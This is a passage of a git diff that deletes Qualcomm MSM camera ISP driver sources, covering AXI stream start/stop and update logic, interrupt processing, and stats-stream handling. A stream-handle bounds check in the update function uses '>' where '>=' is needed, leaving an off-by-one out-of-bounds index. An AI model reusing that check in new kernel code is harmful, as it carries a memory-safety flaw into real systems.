msm_isp_axi_stream_enable_cfg( - vfe_dev, stream_info); - stream_info->state = INACTIVE; - } - } - if (!skip_session_mask_update) { - if (session_mask == 0) - vfe_dev->axi_data.frame_id[session_id] = 0; - spin_lock_irqsave(&vfe_dev->sof_lock, flags); - vfe_dev->axi_data. - session_frame_src_mask[session_id] = session_mask; - spin_unlock_irqrestore(&vfe_dev->sof_lock, flags); - } - msm_isp_update_stream_bandwidth(vfe_dev); - if (camif_update == DISABLE_CAMIF) - vfe_dev->hw_info->vfe_ops.core_ops. - update_camif_state(vfe_dev, DISABLE_CAMIF); - else if (camif_update == DISABLE_CAMIF_IMMEDIATELY) - vfe_dev->hw_info->vfe_ops.core_ops. - update_camif_state(vfe_dev, DISABLE_CAMIF_IMMEDIATELY); - - if (cur_stream_cnt == 0) { - vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 1); - vfe_dev->hw_info->vfe_ops.core_ops. - reset_hw(vfe_dev, ISP_RST_HARD, 1); - vfe_dev->hw_info->vfe_ops.core_ops.init_hw_reg(vfe_dev); - } - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; - msm_isp_deinit_stream_ping_pong_reg(vfe_dev, stream_info); - } - return rc; -} - - -int msm_isp_cfg_axi_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0; - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd = arg; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - enum msm_isp_camif_update_state camif_update; - - rc = msm_isp_axi_check_stream_state(vfe_dev, stream_cfg_cmd); - if (rc < 0) { - pr_err("%s: Invalid stream state\n", __func__); - return rc; - } - - if (axi_data->num_active_stream == 0) { - /*Configure UB*/ - vfe_dev->hw_info->vfe_ops.axi_ops.cfg_ub(vfe_dev); - } - camif_update = msm_isp_get_camif_update_state(vfe_dev, stream_cfg_cmd); - - if (stream_cfg_cmd->cmd == START_STREAM) - rc = msm_isp_start_axi_stream( - vfe_dev, stream_cfg_cmd, camif_update); - else - rc = msm_isp_stop_axi_stream( - vfe_dev, stream_cfg_cmd, camif_update); - - if (rc < 0) - pr_err("%s: start/stop stream failed\n", __func__); - return rc; -} - -int msm_isp_update_axi_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0, i, j; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - struct msm_vfe_axi_stream_update_cmd *update_cmd = arg; - struct msm_vfe_axi_stream_cfg_update_info *update_info; - - if (update_cmd->update_type == UPDATE_STREAM_AXI_CONFIG && - atomic_read(&axi_data->axi_cfg_update)) { - pr_err("%s: AXI stream config updating\n", __func__); - return -EBUSY; - } - - /*num_stream is uint32 and update_info[] bound by MAX_NUM_STREAM*/ - if (update_cmd->num_streams > MAX_NUM_STREAM) - return -EINVAL; - - for (i = 0; i < update_cmd->num_streams; i++) { - update_info = &update_cmd->update_info[i]; - /*check array reference bounds*/ - if (HANDLE_TO_IDX(update_info->stream_handle) - > MAX_NUM_STREAM) { - return -EINVAL; - } - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(update_info->stream_handle)]; - if (stream_info->state != ACTIVE && - stream_info->state != INACTIVE) { - pr_err("%s: Invalid stream state\n", __func__); - return -EINVAL; - } - if (stream_info->state == ACTIVE && - stream_info->stream_type == BURST_STREAM && - (1 != update_cmd->num_streams || - UPDATE_STREAM_FRAMEDROP_PATTERN != - update_cmd->update_type)) { - pr_err("%s: Cannot update active burst stream\n", - __func__); - return -EINVAL; - } - } - - for (i = 0; i < update_cmd->num_streams; i++) { - update_info = &update_cmd->update_info[i]; - stream_info = &axi_data->stream_info[ - HANDLE_TO_IDX(update_info->stream_handle)]; - - switch (update_cmd->update_type) { - case ENABLE_STREAM_BUF_DIVERT: - stream_info->buf_divert = 1; - break; - case DISABLE_STREAM_BUF_DIVERT: - stream_info->buf_divert = 0; - vfe_dev->buf_mgr->ops->flush_buf(vfe_dev->buf_mgr, - stream_info->bufq_handle, - MSM_ISP_BUFFER_FLUSH_DIVERTED); - break; - case UPDATE_STREAM_FRAMEDROP_PATTERN: { - uint32_t framedrop_period = - msm_isp_get_framedrop_period( - update_info->skip_pattern); - stream_info->runtime_init_frame_drop = 0; - if (update_info->skip_pattern == SKIP_ALL) - stream_info->framedrop_pattern = 0x0; - else - stream_info->framedrop_pattern = 0x1; - stream_info->framedrop_period = framedrop_period - 1; - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_framedrop(vfe_dev, stream_info); - break; - } - case UPDATE_STREAM_AXI_CONFIG: { - for (j = 0; j < stream_info->num_planes; j++) { - stream_info->plane_cfg[j] = - update_info->plane_cfg[j]; - } - stream_info->output_format = update_info->output_format; - if (stream_info->state == ACTIVE) { - stream_info->state = PAUSE_PENDING; - msm_isp_axi_stream_enable_cfg( - vfe_dev, stream_info); - stream_info->state = PAUSING; - atomic_set(&axi_data->axi_cfg_update, - UPDATE_REQUESTED); - } else { - for (j = 0; j < stream_info->num_planes; j++) - vfe_dev->hw_info->vfe_ops.axi_ops. - cfg_wm_reg(vfe_dev, stream_info, j); - stream_info->runtime_output_format = - stream_info->output_format; - } - break; - } - case UPDATE_STREAM_REQUEST_FRAMES: { - stream_info->request_frm_num += - update_info->request_frm_num; - break; - } - default: - pr_err("%s: Invalid update type\n", __func__); - return -EINVAL; - } - } - return rc; -} - -void msm_isp_process_axi_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - int i, rc = 0; - struct msm_isp_buffer *done_buf = NULL; - uint32_t comp_mask = 0, wm_mask = 0; - uint32_t pingpong_status, stream_idx; - struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_composite_info *comp_info; - struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; - uint32_t frame_id = 0; - - comp_mask = vfe_dev->hw_info->vfe_ops.axi_ops. - get_comp_mask(irq_status0, irq_status1); - wm_mask = vfe_dev->hw_info->vfe_ops.axi_ops. - get_wm_mask(irq_status0, irq_status1); - if (!(comp_mask || wm_mask)) - return; - - ISP_DBG("%s: status: 0x%x\n", __func__, irq_status0); - pingpong_status = - vfe_dev->hw_info->vfe_ops.axi_ops.get_pingpong_status(vfe_dev); - for (i = 0; i < axi_data->hw_info->num_comp_mask; i++) { - comp_info = &axi_data->composite_info[i]; - if (comp_mask & (1 << i)) { - if (!comp_info->stream_handle) { - pr_err("%s: Invalid handle for composite irq\n", - __func__); - } else { - stream_idx = - HANDLE_TO_IDX(comp_info->stream_handle); - stream_info = - &axi_data->stream_info[stream_idx]; - ISP_DBG("%s: stream%d frame id: 0x%x\n", - __func__, - stream_idx, stream_info->frame_id); - frame_id = vfe_dev->axi_data. - frame_id[stream_info->session_id]; - if (stream_info->frame_id >= frame_id) { - pr_err("%s: Session frm id %d cur frm id %d\n", - __func__, frame_id, - stream_info->frame_id); - return; - } - stream_info->frame_id = frame_id; - - if (stream_info->stream_type == BURST_STREAM) - stream_info-> - runtime_num_burst_capture--; - - msm_isp_get_done_buf(vfe_dev, stream_info, - pingpong_status, &done_buf); - if (stream_info->stream_type == - CONTINUOUS_STREAM || - stream_info-> - runtime_num_burst_capture >= 1) { - rc = msm_isp_cfg_ping_pong_address( - vfe_dev, stream_info, - pingpong_status); - } - if (done_buf && !rc) - msm_isp_process_done_buf(vfe_dev, - stream_info, done_buf, ts); - } - } - wm_mask &= ~(comp_info->stream_composite_mask); - } - - for (i = 0; i < axi_data->hw_info->num_wm; i++) { - if (wm_mask & (1 << i)) { - if (!axi_data->free_wm[i]) { - pr_err("%s: Invalid handle for wm irq\n", - __func__); - continue; - } - stream_idx = HANDLE_TO_IDX(axi_data->free_wm[i]); - stream_info = &axi_data->stream_info[stream_idx]; - frame_id = vfe_dev->axi_data. - frame_id[stream_info->session_id]; - ISP_DBG("%s: stream%d frame id: 0x%x\n", - __func__, - stream_idx, stream_info->frame_id); - if (stream_info->frame_id >= frame_id) { - pr_err("%s: Session frm id %d cur frm id %d\n", - __func__, frame_id, stream_info->frame_id); - return; - } - - if (stream_info->stream_type == BURST_STREAM) - stream_info->runtime_num_burst_capture--; - - msm_isp_get_done_buf(vfe_dev, stream_info, - pingpong_status, &done_buf); - if (stream_info->stream_type == CONTINUOUS_STREAM || - stream_info->runtime_num_burst_capture > 1) { - rc = msm_isp_cfg_ping_pong_address(vfe_dev, - stream_info, pingpong_status); - } - if (done_buf && !rc) - msm_isp_process_done_buf(vfe_dev, - stream_info, done_buf, ts); - } - } - return; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h deleted file mode 100644 index e15efd70a591b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h +++ /dev/null @@ -1,61 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#ifndef __MSM_ISP_AXI_UTIL_H__ -#define __MSM_ISP_AXI_UTIL_H__ - -#include "msm_isp.h" - -int msm_isp_axi_create_stream( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); - -void msm_isp_axi_destroy_stream( - struct msm_vfe_axi_shared_data *axi_data, int stream_idx); - -int msm_isp_validate_axi_request( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); - -void msm_isp_axi_reserve_wm( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info); - -void msm_isp_axi_reserve_comp_mask( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream *stream_info); - -int msm_isp_axi_check_stream_state( - struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd); - -void msm_isp_calculate_framedrop( - struct msm_vfe_axi_shared_data *axi_data, - struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); -void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, - struct msm_vfe_axi_stream *stream_info); - -int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg); -int msm_isp_cfg_axi_stream(struct vfe_device *vfe_dev, void *arg); -int msm_isp_release_axi_stream(struct vfe_device *vfe_dev, void *arg); -int msm_isp_update_axi_stream(struct vfe_device *vfe_dev, void *arg); -void msm_isp_axi_cfg_update(struct vfe_device *vfe_dev); - -void msm_isp_axi_stream_update(struct vfe_device *vfe_dev); - -void msm_isp_update_framedrop_reg(struct vfe_device *vfe_dev); -void msm_isp_sof_notify(struct vfe_device *vfe_dev, - enum msm_vfe_input_src frame_src, struct msm_isp_timestamp *ts); -void msm_isp_process_axi_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); -uint8_t msm_isp_get_curr_stream_cnt(struct vfe_device *vfe_dev); -#endif /* __MSM_ISP_AXI_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c deleted file mode 100644 index 50b1940fc34c6..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.c +++ /dev/null @@ -1,575 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#include -#include -#include -#include "msm_isp_util.h" -#include "msm_isp_stats_util.h" - -static int msm_isp_stats_cfg_ping_pong_address(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info, uint32_t pingpong_status, - struct msm_isp_buffer **done_buf) -{ - int rc = -1; - struct msm_isp_buffer *buf; - uint32_t pingpong_bit = 0; - uint32_t bufq_handle = stream_info->bufq_handle; - uint32_t stats_pingpong_offset; - - if (STATS_IDX(stream_info->stream_handle) >= - vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, - STATS_IDX(stream_info->stream_handle)); - return -EINVAL; - } - - stats_pingpong_offset = - vfe_dev->hw_info->stats_hw_info->stats_ping_pong_offset[ - STATS_IDX(stream_info->stream_handle)]; - - pingpong_bit = (~(pingpong_status >> stats_pingpong_offset) & 0x1); - rc = vfe_dev->buf_mgr->ops->get_buf(vfe_dev->buf_mgr, - vfe_dev->pdev->id, bufq_handle, &buf); - if (rc < 0) { - vfe_dev->error_info.stats_framedrop_count[ - STATS_IDX(stream_info->stream_handle)]++; - return rc; - } - - if (buf->num_planes != 1) { - pr_err("%s: Invalid buffer\n", __func__); - rc = -EINVAL; - goto buf_error; - } - - vfe_dev->hw_info->vfe_ops.stats_ops.update_ping_pong_addr( - vfe_dev, stream_info, - pingpong_status, buf->mapped_info[0].paddr + - stream_info->buffer_offset); - - if (stream_info->buf[pingpong_bit] && done_buf) - *done_buf = stream_info->buf[pingpong_bit]; - - stream_info->buf[pingpong_bit] = buf; - return 0; -buf_error: - vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, - buf->bufq_handle, buf->buf_idx); - return rc; -} - -void msm_isp_process_stats_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - int i, j, rc; - struct msm_isp_event_data buf_event; - struct msm_isp_stats_event *stats_event = &buf_event.u.stats; - struct msm_isp_buffer *done_buf; - struct msm_vfe_stats_stream *stream_info = NULL; - uint32_t session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - uint32_t pingpong_status; - uint32_t comp_stats_type_mask = 0, atomic_stats_mask = 0; - uint32_t stats_comp_mask = 0, stats_irq_mask = 0; - uint32_t num_stats_comp_mask = - vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; - stats_comp_mask = vfe_dev->hw_info->vfe_ops.stats_ops. - get_comp_mask(irq_status0, irq_status1); - stats_irq_mask = vfe_dev->hw_info->vfe_ops.stats_ops. - get_wm_mask(irq_status0, irq_status1); - if (!(stats_comp_mask || stats_irq_mask)) - return; - ISP_DBG("%s: status: 0x%x\n", __func__, irq_status0); - - /* - * If any of composite mask is set, clear irq bits from mask, - * they will be restored by comp mask - */ - if (stats_comp_mask) { - for (j = 0; j < num_stats_comp_mask; j++) { - stats_irq_mask &= ~atomic_read( - &vfe_dev->stats_data.stats_comp_mask[j]); - } - } - - for (j = 0; j < num_stats_comp_mask; j++) { - atomic_stats_mask = atomic_read( - &vfe_dev->stats_data.stats_comp_mask[j]); - if (!stats_comp_mask) { - stats_irq_mask &= ~atomic_stats_mask; - } else { - /* restore irq bits from composite mask */ - if (stats_comp_mask & (1 << j)) - stats_irq_mask |= atomic_stats_mask; - } - /* if no irq bits set from this composite mask continue*/ - if (!stats_irq_mask) - continue; - memset(&buf_event, 0, sizeof(struct msm_isp_event_data)); - buf_event.timestamp = ts->event_time; - buf_event.frame_id = - vfe_dev->axi_data.frame_id[session_id]; - buf_event.input_intf = VFE_PIX_0; - pingpong_status = vfe_dev->hw_info-> - vfe_ops.stats_ops.get_pingpong_status(vfe_dev); - - for (i = 0; i < vfe_dev->hw_info->stats_hw_info->num_stats_type; - i++) { - if (!(stats_irq_mask & (1 << i))) - continue; - stream_info = &vfe_dev->stats_data.stream_info[i]; - done_buf = NULL; - msm_isp_stats_cfg_ping_pong_address(vfe_dev, - stream_info, pingpong_status, &done_buf); - if (done_buf) { - rc = vfe_dev->buf_mgr->ops->buf_divert( - vfe_dev->buf_mgr, done_buf->bufq_handle, - done_buf->buf_idx, &ts->buf_time, - vfe_dev->axi_data. - frame_id[session_id]); - if (rc != 0) - continue; - - stats_event->stats_buf_idxs - [stream_info->stats_type] = - done_buf->buf_idx; - if (!stream_info->composite_flag) { - stats_event->stats_mask = - 1 << stream_info->stats_type; - ISP_DBG("%s: stats frameid: 0x%x %d\n", - __func__, buf_event.frame_id, - stream_info->stats_type); - msm_isp_send_event(vfe_dev, - ISP_EVENT_STATS_NOTIFY + - stream_info->stats_type, - &buf_event); - } else { - comp_stats_type_mask |= - 1 << stream_info->stats_type; - } - } - stats_irq_mask &= ~(1 << i); - } - - if (comp_stats_type_mask) { - ISP_DBG("%s: comp_stats frameid: 0x%x, 0x%x\n", - __func__, buf_event.frame_id, - comp_stats_type_mask); - stats_event->stats_mask = comp_stats_type_mask; - msm_isp_send_event(vfe_dev, - ISP_EVENT_COMP_STATS_NOTIFY, &buf_event); - comp_stats_type_mask = 0; - } - } -} - -int msm_isp_stats_create_stream(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream_request_cmd *stream_req_cmd) -{ - int rc = -1; - struct msm_vfe_stats_stream *stream_info = NULL; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - uint32_t stats_idx; - - if (!(vfe_dev->hw_info->stats_hw_info->stats_capability_mask & - (1 << stream_req_cmd->stats_type))) { - pr_err("%s: Stats type not supported\n", __func__); - return rc; - } - - stats_idx = vfe_dev->hw_info->vfe_ops.stats_ops. - get_stats_idx(stream_req_cmd->stats_type); - - if (stats_idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, stats_idx); - return -EINVAL; - } - - stream_info = &stats_data->stream_info[stats_idx]; - if (stream_info->state != STATS_AVALIABLE) { - pr_err("%s: Stats already requested\n", __func__); - return rc; - } - - if (stream_req_cmd->framedrop_pattern >= MAX_SKIP) { - pr_err("%s: Invalid framedrop pattern\n", __func__); - return rc; - } - - if (stream_req_cmd->irq_subsample_pattern >= MAX_SKIP) { - pr_err("%s: Invalid irq subsample pattern\n", __func__); - return rc; - } - - stream_info->session_id = stream_req_cmd->session_id; - stream_info->stream_id = stream_req_cmd->stream_id; - stream_info->composite_flag = stream_req_cmd->composite_flag; - stream_info->stats_type = stream_req_cmd->stats_type; - stream_info->buffer_offset = stream_req_cmd->buffer_offset; - stream_info->framedrop_pattern = stream_req_cmd->framedrop_pattern; - stream_info->irq_subsample_pattern = - stream_req_cmd->irq_subsample_pattern; - stream_info->state = STATS_INACTIVE; - - if ((vfe_dev->stats_data.stream_handle_cnt << 8) == 0) - vfe_dev->stats_data.stream_handle_cnt++; - - stream_req_cmd->stream_handle = - (++vfe_dev->stats_data.stream_handle_cnt) << 8 | stats_idx; - - stream_info->stream_handle = stream_req_cmd->stream_handle; - return 0; -} - -int msm_isp_request_stats_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = -1; - struct msm_vfe_stats_stream_request_cmd *stream_req_cmd = arg; - struct msm_vfe_stats_stream *stream_info = NULL; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - uint32_t framedrop_period; - uint32_t stats_idx; - - rc = msm_isp_stats_create_stream(vfe_dev, stream_req_cmd); - if (rc < 0) { - pr_err("%s: create stream failed\n", __func__); - return rc; - } - - stats_idx = STATS_IDX(stream_req_cmd->stream_handle); - - if (stats_idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, stats_idx); - return -EINVAL; - } - - stream_info = &stats_data->stream_info[stats_idx]; - - framedrop_period = msm_isp_get_framedrop_period( - stream_req_cmd->framedrop_pattern); - - if (stream_req_cmd->framedrop_pattern == SKIP_ALL) - stream_info->framedrop_pattern = 0x0; - else - stream_info->framedrop_pattern = 0x1; - stream_info->framedrop_period = framedrop_period - 1; - - if (!stream_info->composite_flag) - vfe_dev->hw_info->vfe_ops.stats_ops. - cfg_wm_irq_mask(vfe_dev, stream_info); - - vfe_dev->hw_info->vfe_ops.stats_ops.cfg_wm_reg(vfe_dev, stream_info); - return rc; -} - -int msm_isp_release_stats_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = -1; - struct msm_vfe_stats_stream_cfg_cmd stream_cfg_cmd; - struct msm_vfe_stats_stream_release_cmd *stream_release_cmd = arg; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - int stats_idx = STATS_IDX(stream_release_cmd->stream_handle); - struct msm_vfe_stats_stream *stream_info = NULL; - - if (stats_idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, stats_idx); - return -EINVAL; - } - - stream_info = &stats_data->stream_info[stats_idx]; - if (stream_info->state == STATS_AVALIABLE) { - pr_err("%s: stream already release\n", __func__); - return rc; - } else if (stream_info->state != STATS_INACTIVE) { - stream_cfg_cmd.enable = 0; - stream_cfg_cmd.num_streams = 1; - stream_cfg_cmd.stream_handle[0] = - stream_release_cmd->stream_handle; - rc = msm_isp_cfg_stats_stream(vfe_dev, &stream_cfg_cmd); - } - - if (!stream_info->composite_flag) - vfe_dev->hw_info->vfe_ops.stats_ops. - clear_wm_irq_mask(vfe_dev, stream_info); - - vfe_dev->hw_info->vfe_ops.stats_ops.clear_wm_reg(vfe_dev, stream_info); - memset(stream_info, 0, sizeof(struct msm_vfe_stats_stream)); - return 0; -} - -static int msm_isp_init_stats_ping_pong_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - int rc = 0; - stream_info->bufq_handle = - vfe_dev->buf_mgr->ops->get_bufq_handle( - vfe_dev->buf_mgr, stream_info->session_id, - stream_info->stream_id); - if (stream_info->bufq_handle == 0) { - pr_err("%s: no buf configured for stream: 0x%x\n", - __func__, stream_info->stream_handle); - return -EINVAL; - } - - rc = msm_isp_stats_cfg_ping_pong_address(vfe_dev, - stream_info, VFE_PING_FLAG, NULL); - if (rc < 0) { - pr_err("%s: No free buffer for ping\n", __func__); - return rc; - } - rc = msm_isp_stats_cfg_ping_pong_address(vfe_dev, - stream_info, VFE_PONG_FLAG, NULL); - if (rc < 0) { - pr_err("%s: No free buffer for pong\n", __func__); - return rc; - } - return rc; -} - -static void msm_isp_deinit_stats_ping_pong_reg( - struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - int i; - struct msm_isp_buffer *buf; - for (i = 0; i < 2; i++) { - buf = stream_info->buf[i]; - if (buf) - vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, - buf->bufq_handle, buf->buf_idx); - } -} - -void msm_isp_stats_stream_update(struct vfe_device *vfe_dev) -{ - int i; - uint32_t stats_mask = 0, comp_stats_mask = 0; - uint32_t enable = 0; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - for (i = 0; i < vfe_dev->hw_info->stats_hw_info->num_stats_type; i++) { - if (stats_data->stream_info[i].state == STATS_START_PENDING || - stats_data->stream_info[i].state == - STATS_STOP_PENDING) { - stats_mask |= i; - enable = stats_data->stream_info[i].state == - STATS_START_PENDING ? 1 : 0; - stats_data->stream_info[i].state = - stats_data->stream_info[i].state == - STATS_START_PENDING ? - STATS_STARTING : STATS_STOPPING; - vfe_dev->hw_info->vfe_ops.stats_ops.enable_module( - vfe_dev, BIT(i), enable); - vfe_dev->hw_info->vfe_ops.stats_ops.cfg_comp_mask( - vfe_dev, BIT(i), enable); - } else if (stats_data->stream_info[i].state == STATS_STARTING || - stats_data->stream_info[i].state == STATS_STOPPING) { - if (stats_data->stream_info[i].composite_flag) - comp_stats_mask |= i; - stats_data->stream_info[i].state = - stats_data->stream_info[i].state == - STATS_STARTING ? STATS_ACTIVE : STATS_INACTIVE; - } - } - atomic_sub(1, &stats_data->stats_update); - if (!atomic_read(&stats_data->stats_update)) - complete(&vfe_dev->stats_config_complete); -} - -static int msm_isp_stats_wait_for_cfg_done(struct vfe_device *vfe_dev) -{ - int rc; - init_completion(&vfe_dev->stats_config_complete); - atomic_set(&vfe_dev->stats_data.stats_update, 2); - rc = wait_for_completion_timeout( - &vfe_dev->stats_config_complete, - msecs_to_jiffies(VFE_MAX_CFG_TIMEOUT)); - if (rc == 0) { - pr_err("%s: wait timeout\n", __func__); - rc = -1; - } else { - rc = 0; - } - return rc; -} - -static int msm_isp_start_stats_stream(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream_cfg_cmd *stream_cfg_cmd) -{ - int i, rc = 0; - uint32_t stats_mask = 0, idx; - uint32_t comp_stats_mask[MAX_NUM_STATS_COMP_MASK] = {0}; - uint32_t num_stats_comp_mask = 0; - struct msm_vfe_stats_stream *stream_info; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - - num_stats_comp_mask = - vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; - rc = vfe_dev->hw_info->vfe_ops.stats_ops.check_streams( - stats_data->stream_info); - if (rc < 0) - return rc; - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - idx = STATS_IDX(stream_cfg_cmd->stream_handle[i]); - - if (idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, idx); - return -EINVAL; - } - - stream_info = &stats_data->stream_info[idx]; - if (stream_info->stream_handle != - stream_cfg_cmd->stream_handle[i]) { - pr_err("%s: Invalid stream handle: 0x%x received\n", - __func__, stream_cfg_cmd->stream_handle[i]); - continue; - } - - if (stream_info->composite_flag > num_stats_comp_mask) { - pr_err("%s: comp grp %d exceed max %d\n", - __func__, stream_info->composite_flag, - num_stats_comp_mask); - return -EINVAL; - } - rc = msm_isp_init_stats_ping_pong_reg(vfe_dev, stream_info); - if (rc < 0) { - pr_err("%s: No buffer for stream%d\n", __func__, idx); - return rc; - } - - if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) - stream_info->state = STATS_START_PENDING; - else - stream_info->state = STATS_ACTIVE; - - stats_data->num_active_stream++; - stats_mask |= 1 << idx; - - if (stream_info->composite_flag > 0) - comp_stats_mask[stream_info->composite_flag-1] |= - 1 << idx; - - ISP_DBG("%s: stats_mask %x %x active streams %d\n", - __func__, comp_stats_mask[0], - comp_stats_mask[1], - stats_data->num_active_stream); - - } - if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) { - rc = msm_isp_stats_wait_for_cfg_done(vfe_dev); - } else { - vfe_dev->hw_info->vfe_ops.stats_ops.enable_module( - vfe_dev, stats_mask, stream_cfg_cmd->enable); - for (i = 0; i < num_stats_comp_mask; i++) { - vfe_dev->hw_info->vfe_ops.stats_ops.cfg_comp_mask( - vfe_dev, comp_stats_mask[i], 1); - } - } - return rc; -} - -static int msm_isp_stop_stats_stream(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream_cfg_cmd *stream_cfg_cmd) -{ - int i, rc = 0; - uint32_t stats_mask = 0, idx; - uint32_t comp_stats_mask[MAX_NUM_STATS_COMP_MASK] = {0}; - uint32_t num_stats_comp_mask = 0; - struct msm_vfe_stats_stream *stream_info; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - num_stats_comp_mask = - vfe_dev->hw_info->stats_hw_info->num_stats_comp_mask; - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - - idx = STATS_IDX(stream_cfg_cmd->stream_handle[i]); - - if (idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, idx); - return -EINVAL; - } - - stream_info = &stats_data->stream_info[idx]; - if (stream_info->stream_handle != - stream_cfg_cmd->stream_handle[i]) { - pr_err("%s: Invalid stream handle: 0x%x received\n", - __func__, stream_cfg_cmd->stream_handle[i]); - continue; - } - - if (stream_info->composite_flag > num_stats_comp_mask) { - pr_err("%s: comp grp %d exceed max %d\n", - __func__, stream_info->composite_flag, - num_stats_comp_mask); - return -EINVAL; - } - - if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) - stream_info->state = STATS_STOP_PENDING; - else - stream_info->state = STATS_INACTIVE; - - stats_data->num_active_stream--; - stats_mask |= 1 << idx; - - if (stream_info->composite_flag > 0) - comp_stats_mask[stream_info->composite_flag-1] |= - 1 << idx; - - ISP_DBG("%s: stats_mask %x %x active streams %d\n", - __func__, comp_stats_mask[0], - comp_stats_mask[1], - stats_data->num_active_stream); - } - - if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) { - rc = msm_isp_stats_wait_for_cfg_done(vfe_dev); - } else { - vfe_dev->hw_info->vfe_ops.stats_ops.enable_module( - vfe_dev, stats_mask, stream_cfg_cmd->enable); - for (i = 0; i < num_stats_comp_mask; i++) { - vfe_dev->hw_info->vfe_ops.stats_ops.cfg_comp_mask( - vfe_dev, comp_stats_mask[i], 0); - } - } - - for (i = 0; i < stream_cfg_cmd->num_streams; i++) { - idx = STATS_IDX(stream_cfg_cmd->stream_handle[i]); - - if (idx >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { - pr_err("%s Invalid stats index %d", __func__, idx); - return -EINVAL; - } - - stream_info = &stats_data->stream_info[idx]; - msm_isp_deinit_stats_ping_pong_reg(vfe_dev, stream_info); - } - return rc; -} - -int msm_isp_cfg_stats_stream(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0; - struct msm_vfe_stats_stream_cfg_cmd *stream_cfg_cmd = arg; - struct msm_vfe_stats_shared_data *stats_data = &vfe_dev->stats_data; - stats_data->stats_burst_len = 